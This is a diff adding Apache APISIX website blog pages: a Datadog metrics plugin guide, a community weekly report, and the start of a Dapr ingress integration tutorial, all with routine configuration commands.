+<p>Apache APISIX recently released a new plugin: <a href="http://apisix.apache.org/docs/apisix/next/plugins/datadog">APISIX-Datadog</a>, to provide a deeper integration with Datadog. This article introduces the APISIX-Datadog Plugin and its capabilities.</p>
+</blockquote>
+<!--truncate-->
+<p><img src="https://static.apiseven.com/202108/1636955062917-28911d71-0d56-48ec-85e5-a7908195da2f.png" alt="cover picture"></p>
+<p>As the complexity of IT products and consumer-facing application development increases, monitoring becomes an integral part of any application delivery. Additionally, to meet the endless demand of rapid upgrade cycles while ensuring stability, streamlined performance and keeping a perfect balance between service level indicators (SLI) with Service-level objectives (SLO) and Service-level agreement (SLA) - effective monitoring is immensely important.</p>
+<p>As a Cloud API Management Product, <a href="http://apisix.apache.org/">Apache APISIX</a> decouples observability concerns from the application, which gives the developers an advantage of building applications focusing just on the business logic while Apache APISIX will take care of observability for the platform of their choice.</p>
+<p>Apache APISIX recently released a new plugin: <a href="http://apisix.apache.org/docs/apisix/next/plugins/datadog">APISIX-Datadog</a>, to provide a deeper integration with Datadog. This article introduces the APISIX-Datadog Plugin and its capabilities.</p>
+<h2 id="how-apisix-datadog-plugin-works">How APISIX-Datadog plugin works</h2>
+<p><img src="https://static.apiseven.com/202108/1636685752757-d02d8305-2a68-4b3e-b2cc-9e5410c8bf11.png" alt="APISIX-Datadog plugin Architecture"></p>
+<p>The APISIX-Datadog plugin pushes its custom metrics to the DogStatsD server, comes bundled with Datadog agent over the UDP connection. DogStatsD basically is an implementation of StatsD protocol. It collects the custom metrics for Apache APISIX agent, aggregates it into a single data point and sends it to the configured Datadog server. To learn more about DogStatsD, please visit <a href="https://docs.datadoghq.com/developers/dogstatsd/?tab=hostagent">DogStatsD documentation</a>.</p>
+<p>When APISIX-Datadog is activated, Apache APISIX agent exports the following metrics to DogStatsD server for every request response cycle:</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th>Metric Name</th><th>StatsD Type</th><th>Description</th></tr></thead><tbody><tr><td>Request Counter</td><td>Counter</td><td>Number of requests received.</td></tr><tr><td>Request Latency</td><td>Histogram</td><td>Time taken to process the request (in milliseconds).</td></tr><tr><td>Upstream latency</td><td>Histogram</td><td>Time taken since proxying the request to the upstream server till a response is received (in milliseconds).</td></tr><tr><td>APISIX Latency</td>< [...]
+<p>The metrics will be sent to the DogStatsD agent with the following tags. If there is no suitable value for any particular tag, the tag will simply be omitted.</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th>Metric Name</th><th>Description</th></tr></thead><tbody><tr><td>route_name</td><td>Name specified in the route schema definition. If not present, it will fall back to the route id value.</td></tr><tr><td>service_id</td><td>If a route has been created with the abstraction of service, the particular service id will be used.</td></tr><tr><td>consumer</td><td>If the route has a linked consumer, the consumer Username will be added as a tag.</td></tr><tr><td>balancer_ip</ [...]
+<p>The plugin maintains a buffer with a timer. When the timer expires, APISIX-Datadog plugin flashes the buffered metrics as a batch to the locally run dogstatsd server. This approach is less resource-hungry (though it might be insignificant as UDP sockets are very lightweight) by reusing the same UDP socket and doesn’t overload the network all the time as the timer can be configured.</p>
+<h2 id="steps-to-run-datadog-agent">Steps to Run Datadog Agent</h2>
+<ol>
+<li>If you are already using Datadog inside your infrastructure, you must have a datadog agent installed in your systems. It may either be a docker container, pod or binary for a respective package manager. In this case, you are good to go. Just make sure port 8125/udp is allowed through the firewall (if any) i.e more specifically, the Apache APISIX agent can reach port 8125 of the datadog agent. You may skip this subsection.</li>
+</ol>
+<blockquote>
+<p>To learn more about how to install a full-fledged datadog agent, visit <a href="https://docs.datadoghq.com/agent/">here</a>.</p>
+</blockquote>
+<ol start="2">
+<li>
+<p>If you are new to Datadog</p>
+<ol>
+<li>First create an account by visiting <a href="http://www.datadoghq.com">www.datadoghq.com</a>.</li>
+<li>Generate an API Key.
+<img src="https://static.apiseven.com/202108/1636685007445-05f134fd-e80a-4173-b1d7-f0a118087998.png" alt="Generate an API Key"></li>
+</ol>
+</li>
+<li>
+<p>APISIX-Datadog plugin requires only the dogstatsd component of <code>datadog/agent</code> as the plugin asynchronously send metrics to the dogstatsd server following the statsd protocol over standard UDP socket. That’s why APISIX recommends using the standalone <code>datadog/dogstatsd</code> image instead of using the full agent. It’s extremely lightweight (only ~11 MB in size) compared to ~2.8GB of <code>datadog/agent</code> image.</p>
+</li>
+</ol>
+<p>To run it as a container:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># pull the latest image</span></span>
+<span class="line"><span style="color:#FFA657">docker</span><span style="color:#A5D6FF"> pull</span><span style="color:#A5D6FF"> datadog/dogstatsd:latest</span></span>
+<span class="line"><span style="color:#8B949E"># run a detached container</span></span>
+<span class="line"><span style="color:#FFA657">docker</span><span style="color:#A5D6FF"> run</span><span style="color:#79C0FF"> -d</span><span style="color:#79C0FF"> --name</span><span style="color:#A5D6FF"> dogstatsd-agent</span><span style="color:#79C0FF"> -e</span><span style="color:#A5D6FF"> DD_API_KEY=</span><span style="color:#FF7B72"><</span><span style="color:#A5D6FF">Your</span><span style="color:#A5D6FF"> API</span><span style="color:#A5D6FF"> Key</span><span style="color: [...]
+<p>If you are using Kubernetes in your production environment, you can deploy <code>dogstatsd</code> as a <code>Daemonset</code> or as a <code>Multi-Container Pod</code> alongside Apache APISIX agent.</p>
+<h2 id="how-to-use-datadog-with-apache-apisix">How to Use Datadog with Apache APISIX</h2>
+<h3 id="activate-the-apisix-datadog-plugin">Activate the APISIX-Datadog plugin</h3>
+<p>The following is an example on how to activate the datadog plugin for a specific route. We are assuming your <code>dogstatsd</code> agent is already up an running.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># enable plugin for a specific route</span></span>
+<span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span style="color:#79C0FF"> -d</span><span style="color:#A5D6FF"> '</span></span>
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "datadog": {}</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/hello"</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<p>Now any requests to endpoint uri <code>/hello</code> will generate the above metrics and push it to local DogStatsD server of the datadog agent.</p>
+<h3 id="custom-configuration">Custom Configuration</h3>
+<p>In default configuration, the plugin expects the dogstatsd service to be available at <code>127.0.0.1:8125</code>. If you wish to update the config, please update the plugin metadata:</p>
+<h4 id="metadata-schema">Metadata Schema</h4>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th>Name</th><th>Type</th><th>Required</th><th>Default</th><th>Description</th></tr></thead><tbody><tr><td>hosts</td><td>string</td><td>optional</td><td>”127.0.0.1”</td><td>The DogStatsD server host address</td></tr><tr><td>port</td><td>integer</td><td>optional</td><td>8125</td><td>The DogStatsD server host port</td></tr><tr><td>namespace</td><td>string</td><td>optional</td><td>”apisix”</td><td>Prefix for all the custom metrics sent by APISIX agent. Useful for finding e [...]
+<p>To know more about how to effectively write tags, please visit <a href="https://docs.datadoghq.com/getting_started/tagging/#defining-tags">here</a></p>
+<p>Make a request to /apisix/admin/plugin_metadata endpoint with the updated metadata as following:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/plugin_metadata/datadog</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "host": "127.0.0.1",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "port": 8125,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "constant_tags": [</span></span>
+<span class="line"><span style="color:#A5D6FF"> "source:apisix",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "service:custom"</span></span>
+<span class="line"><span style="color:#A5D6FF"> ],</span></span>
+<span class="line"><span style="color:#A5D6FF"> "namespace": "apisix"</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<h4 id="plugin-schema">Plugin Schema</h4>
+<p>Similarly, there are few attributes that can be tweaked while enabling the plugin.</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th>Name</th><th>Type</th><th>Required</th><th>Default</th><th>Valid</th><th>Description</th></tr></thead><tbody><tr><td>batch_max_size</td><td>integer</td><td>optional</td><td>5000</td><td>[1,…]</td><td>Max buffer size of each batch</td></tr><tr><td>inactive_timeout</td><td>integer</td><td>optional</td><td>5</td><td>[1,…]</td><td>Maximum age in seconds when the buffer will be flushed if inactive</td></tr><tr><td>buffer_duration</td><td>integer</td><td>optional</td><td> [...]
+<p>As all the fields are optional and if no attributes are set, the datadog plugin gets instantiated with the default values. To update any attribute, just update the required route, service or consumer with the updated attribute value. For example, the code below modifies the maximum buffer size of each batch:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">'{</span></span>
+<span class="line"><span style="color:#FFA657">...</span></span>
+<span class="line"><span style="color:#FFA657">"plugins": {</span></span>
+<span class="line"><span style="color:#FFA657"> "datadog": {</span></span>
+<span class="line"><span style="color:#FFA657"> "batch_max_size": 10</span></span>
+<span class="line"><span style="color:#FFA657"> }</span></span>
+<span class="line"><span style="color:#FFA657">}</span></span>
+<span class="line"><span style="color:#FFA657">... }'</span></span></code></pre>
+<h3 id="deactivate-the-apisix-datadog-plugin">Deactivate the APISIX-Datadog plugin</h3>
+<p>Now, to deactivate the plugin, simply remove the corresponding json configuration in the plugin configuration to disable the <code>datadog</code>. APISIX plugins are hot-reloaded, therefore no need to restart APISIX.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># disable plugin for a route</span></span>
+<span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span style="color:#79C0FF"> -d</span><span style="color:#A5D6FF"> '</span></span>
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/hello",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {},</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apa [...]
\ No newline at end of file
diff --git a/blog/2021/11/16/weekly-report-1114/index.html b/blog/2021/11/16/weekly-report-1114/index.html
new file mode 100644
index 00000000000..efb6b13f644
--- /dev/null
+++ b/blog/2021/11/16/weekly-report-1114/index.html
@@ -0,0 +1,63 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Weekly Report (Sep 1 - Sep 14) | Apache APISIX</title><meta name="description" content="The Apache APISIX Community Weekly Report hopes to help community members better understand the weekly progress of the Apache APISIX community."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/11/16/weekly-repo [...]
+<p>From 11.1 to 11.14, 28 contributors submitted 114 commits for Apache APISIX. Thank you all for your contributions to Apache APISIX. It is your selfless contribution to make the Apache APISIX project better!</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction">Introduction</h2>
+<p>Apache APISIX has grown as a community from the first day of open source and has quickly become the most active open source API gateway project in the world. These achievements cannot be achieved without the joint efforts of our community partners.</p>
+<p>“If you want to go fast, go alone.If you want to go far, go together.” The Apache APISIX Community Weekly Report hopes to help community members better understand the weekly progress of the Apache APISIX community and and facilitate everyone to participate in the Apache APISIX community.</p>
+<p>We have also compiled some issues suitable for newcomers to the community to participate in! If you are interested, don’t miss it!</p>
+<h2 id="contributor-statistics">Contributor Statistics</h2>
+<p><img src="https://static.apiseven.com/202108/1636940255460-0c2ab16c-93f9-490a-ab89-89f057b2fa1c.png" alt="Contributors List"></p>
+<p><img src="https://static.apiseven.com/202108/1636942793677-0f64e00c-248c-4fd1-9cb4-ba059591e205.png" alt="New Contributors"></p>
+<h2 id="good-first-issue">Good first issue</h2>
+<h3 id="issue-5400">Issue #5400</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5400">https://github.com/apache/apisix/issues/5400</a></p>
+<p><strong>Issue description</strong>: The HTTP logs for Layer 7 are stored in acccess.log, so how does the Layer 4 proxy stream route enable logging and customize the log path? Traditionally, OpenResty can be implemented.</p>
+<h3 id="issue-5417">Issue #5417</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5417">https://github.com/apache/apisix/issues/5417</a></p>
+<p><strong>Issue description</strong>:</p>
+<p>Currently, Apache APISIX will generate an id while initializing if the user doesn’t specify one, and it relies on the <a href="https://github.com/thibaultcha/lua-resty-jit-uuid">lua-resty-jit-uuid</a> library but without an explicit seed.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>uuid.seed()</span></span>
+<span class="line"><span> apisix_uid = uuid.generate_v4()</span></span>
+<span class="line"><span> log.notice("not found apisix uid, generate a new one: ", apisix_uid)</span></span></code></pre>
+<p>While the jit-uuid library creates the seed by the process id and the time in ngx_lua context.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span> if ngx then</span></span>
+<span class="line"><span> seed = ngx.time() + ngx.worker.pid()</span></span></code></pre>
+<p>However, in a containerized environment, the process id (the master process) might be the same, i.e. the No. 1 process, also, if users try to deploy Apache APISIX clusters on Kubernetes through the Deployment resource, the time might be the same for several Pods, since ngx.time doesn’t have enough precisions (only at milliseconds level). so the generated apisix id might be duplicated, and if the id is critical, this may cause some fatal problems in the business scenarios.</p>
+<h2 id="highlights-of-recent-features">Highlights of Recent Features</h2>
+<ul>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5350">APISIX support for installation on Arch Linux</a>(Contributor: <a href="https://github.com/rapiz1">rapiz1</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5354">The APISIX limit-conn plugin supports multiple variables as key</a>(Contributor: <a href="https://github.com/Xunzhuo">Xunzhuo</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5378">The APISIX limit-count plugin supports multiple variables as key</a>(Contributor: <a href="https://github.com/Xunzhuo">Xunzhuo</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5409">APISIX Support for POST form as matching conditions in advanced matching</a>(Contributor: <a href="https://github.com/bzp2010">bzp2010</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5372">APISIX adds datadog plugin for metrics collection</a>(Contributor: <a href="https://github.com/bisakhmondal">bisakhmondal</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5478">APISIX adds skywalking logger plugin to push access Log data to SkyWalking OAP server</a>(Contributor: <a href="https://github.com/dmsolr">dmsolr</a>)</p>
+</li>
+</ul>
+<p>The Apache APISIX project website and the Github issue have accumulated a wealth of documentation and experience, so if you encounter problems, you can read the documentation, search the issue with keywords, or participate in the discussion on the issue to put forward your own ideas and practical experience.</p>
+<h2 id="recent-blog-recommendations">Recent Blog Recommendations</h2>
+<ul>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/11/03/airwallex-usercase">How Apache APISIX protects Airwallex data sovereignty through the gateway layer</a>:</p>
+<p>This article will bring you about how Airwallex uses Apache APISIX for gateway layer deployment to strengthen the construction of data sovereignty.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/11/04/skywalking">The observability of Apache APISIX</a>:</p>
+<p>This article introduces the observability capabilities of Apache APISIX and how to improve the observability capabilities of Apache APISIX through Apache SkyWalking.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/11/12/apisix-datadog">Cloud Monitoring with Datadog in Apache APISIX</a>:</p>
+<p>Apache APISIX recently released a new plugin: <a href="https://apisix.apache.org/docs/apisix/next/plugins/datadog/">APISIX-Datadog</a>, to provide a deeper integration with Datadog. This article introduces the APISIX-Datadog Plugin and its capabilities.</p>
+</li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/11/17/dapr-with-apisix/index.html b/blog/2021/11/17/dapr-with-apisix/index.html
new file mode 100644
index 00000000000..ffd06aadb21
--- /dev/null
+++ b/blog/2021/11/17/dapr-with-apisix/index.html
@@ -0,0 +1,124 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Integrate Dapr with APISIX Ingress Controller | Apache APISIX</title><meta name="description" content="Learn how to integrate Dapr sidecars with APISIX Ingress Controller on Kubernetes for microservice communication and API management."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/11/17/dapr-wi [...]
+<p>This article will show you how to create an Apache APISIX controller by integrating Dapr, includes the concept of the project and the specific operation steps.</p>
+</blockquote>
+<!--truncate-->
+<p>Essentially, the Apache APISIX controller will configure the same standard DAPR annotations to inject DAPRD sidecar. Exposing this sidecar allows external applications to communicate with applications in the cluster that have Dapr enabled.</p>
+<p>The following diagram shows the architectural flow of the actual project:</p>
+<p><img src="https://static.apiseven.com/202108/1638855752235-121756ab-f5b7-489f-af42-0c3f962b3036.png" alt="Overview"></p>
+<h2 id="overview">Overview</h2>
+<h3 id="apache-apisix-ingress">Apache APISIX Ingress</h3>
+<p>In the K8s ecosystem, Ingress is a resource that represents the entry point for K8s traffic. To make it effective, an Ingress Controller is needed to listen to the Ingress resources in K8s, resolve the rules for those resources, and actually carry the traffic. The most widely used Ingress Controller implementations in today’s trends are Kubernetes Ingress Nginx.</p>
+<p>APISIX Ingress is another implementation of the Ingress Controller. The main difference from Kubernetes Ingress Nginx is that APISIX Ingress uses Apache APISIX as the actual data plane for hosting business traffic. As shown in the figure below, when a user requests a specific service/API/web page, the entire business traffic/user request is transferred to the K8s cluster through an external proxy and then processed by APISIX Ingress.</p>
+<p><img src="https://static.apiseven.com/2022/09/30/6336a25db849f.png" alt="APISIX Ingress"></p>
+<p>As you can see from the above diagram, APISIX Ingress is divided into two parts. One part is the APISIX Ingress Controller, which serves as the control plane for configuration management and distribution. The other part is the APISIX Proxy Pod, which is responsible for carrying business traffic and is implemented through CRD (Custom Resource Definitions). Apache APISIX Ingress supports not only custom resources but also native K8s Ingress resources.</p>
+<p><a href="https://www.apiseven.com/zh/blog/apisix-ingress-details">Click here</a> for more details.</p>
+<h3 id="dapr">Dapr</h3>
+<p>Dapr is a portable, event-driven runtime. It makes it simple for developers to build elastic, stateless and stateful applications running on the cloud and edge, and includes multiple languages and developer frameworks.</p>
+<p><img src="https://static.apiseven.com/202108/1637119221120-15a5be20-17a2-4c18-a82e-91e1ff3709f0.png" alt="Dapr"></p>
+<p>Today, we are experiencing a wave of cloud applications. Developers are familiar with web+ database application architectures (e.g., classic 3-tier designs), but not with what is essentially a distributed microservice application architecture. Developers want to focus on business logic while relying on the platform to infuse their applications with scalability, elasticity, maintainability, resiliency, and other attributes of native cloud architectures.</p>
+<p>This is where Dapr comes in.</p>
+<p>Dapr can codify best practices for building microservice applications into open, independent building blocks, enabling users to build portable applications using the language and framework of their choice. Each building block is completely independent and one or more of them can be used in an application.</p>
+<p>In addition, Dapr is platform agnostic, which means users can run applications natively in any Kubernetes cluster and other hosting environments that integrate with Dapr.</p>
+<p><a href="https://docs.dapr.io/zh-hans/concepts/overview/">Click here</a> for more details.</p>
+<h2 id="start-of-practice">Start of practice</h2>
+<h3 id="environment-preparation">Environment preparation</h3>
+<ul>
+<li>Kubernetes 1.19+ cluster with Dapr already configured on the cluster</li>
+<li>Helm CLI 3x installed</li>
+<li>Kubectl CLI installed and configured to access the cluster</li>
+<li>Optional: OpenSSL for creating self-signed certificates</li>
+<li>The Helm Chart version for Apache APISIX is 0.7.2+</li>
+</ul>
+<h3 id="step-1-apache-apisix-helm-configuration">Step 1: Apache APISIX Helm Configuration</h3>
+<p>Add the latest helm chart repo for the Apache APISIX controller by running the following command.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> https://charts.apiseven.com</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> update</span></span></code></pre>
+<h3 id="step-2-create-the-apache-apisix-ingerss-namespace">Step 2: Create the Apache APISIX Ingerss namespace</h3>
+<p>Ensure that the current kubectl context points to the correct Kubernetes cluster, and then run the following command.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> create</span><span style="color:#A5D6FF"> namespace</span><span style="color:#A5D6FF"> ingress-apisix</span></span></code></pre>
+<h3 id="step-3-install-the-apisix-controller-with-dapr-support">Step 3: Install the APISIX Controller with Dapr Support</h3>
+<p>Use the following to create a file called dapr-annotations.yaml to set up annotations on the Apache APISIX Proxy Pod.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">apisix</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> podAnnotations</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> dapr.io/enabled</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"true"</span></span>
+<span class="line"><span style="color:#7EE787"> dapr.io/app-id</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">" apisix-gateway"</span></span>
+<span class="line"><span style="color:#7EE787">dapr.io/app-port</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"9080"</span></span>
+<span class="line"><span style="color:#7EE787">dapr.io/enable-metrics</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"true"</span></span>
+<span class="line"><span style="color:#7EE787">dapr.io/metrics-port</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"9099"</span></span>
+<span class="line"><span style="color:#7EE787">dapr.io/sidecar-listen-addresses</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">0.0.0.0</span></span>
+<span class="line"><span style="color:#7EE787">dapr.io/config</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ingress-apisix-config</span></span></code></pre>
+<blockquote>
+<p>Note: The app-port above is telling the daprd sidecar Proxy which port it is listening on. For a full list of supported annotations, see the <a href="https://docs.dapr.io/operations/hosting/kubernetes/kubernetes-annotations/">Dapr Kubernetes pod annotation specification</a>.</p>
+</blockquote>
+<p>Here is a sample dapr-annotations.yaml from my personal installation on AKS.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787"> apisix</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> podAnnotations</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> dapr.io/app-id</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix-gateway</span></span>
+<span class="line"><span style="color:#7EE787"> dapr.io/app-port</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">'9080'</span></span>
+<span class="line"><span style="color:#7EE787"> dapr.io/enable-metrics</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">'true'</span></span>
+<span class="line"><span style="color:#7EE787"> dapr.io/enabled</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">'true'</span></span>
+<span class="line"><span style="color:#7EE787"> dapr.io/metrics-port</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">'9099'</span></span>
+<span class="line"><span style="color:#7EE787">dapr.io/sidecar-listen-addresses</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">0.0.0.0</span></span>
+<span class="line"><span style="color:#7EE787">dapr.io/config</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ingress-apisix-config</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">gateway</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">LoadBalancer</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">ingress-controller</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">dashboard</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span></code></pre>
+<p>Next, run the following command (referencing the above file).</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> apisix/apisix</span><span style="color:#79C0FF"> -f</span><span style="color:#A5D6FF"> dapr-annotations.yaml</span><span style="color:#79C0FF"> -n</span><span style="col [...]
+<p>Expose the launched APISIX Dashboard Pod to the outside world for subsequent use:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># You can get the dashboard-pod-name via kubectl get pods -n ingress-apisix</span></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> port-forward</span><span style="color:#E6EDF3"> ${dashboard-pod-name} </span><span style="color:#A5D6FF">9000:9000</span></span></code></pre>
+<h3 id="step-4-create-the-dapr-sidecar-resource-for-apache-apisix">Step 4: Create the Dapr Sidecar resource for Apache APISIX</h3>
+<p>First, access the APISIX Dashboard via <code>http://localhost:9000</code> to configure Apache APISIX upstream-apisix-dapr.</p>
+<p><img src="https://static.apiseven.com/202108/1638855797186-a9b940e2-4d56-4a6d-a621-ea615ddba0dd.png" alt="Create the Dapr Sidecar"></p>
+<p>Fill in the hostname here: apisix-gateway-dapr and the port number 3500.</p>
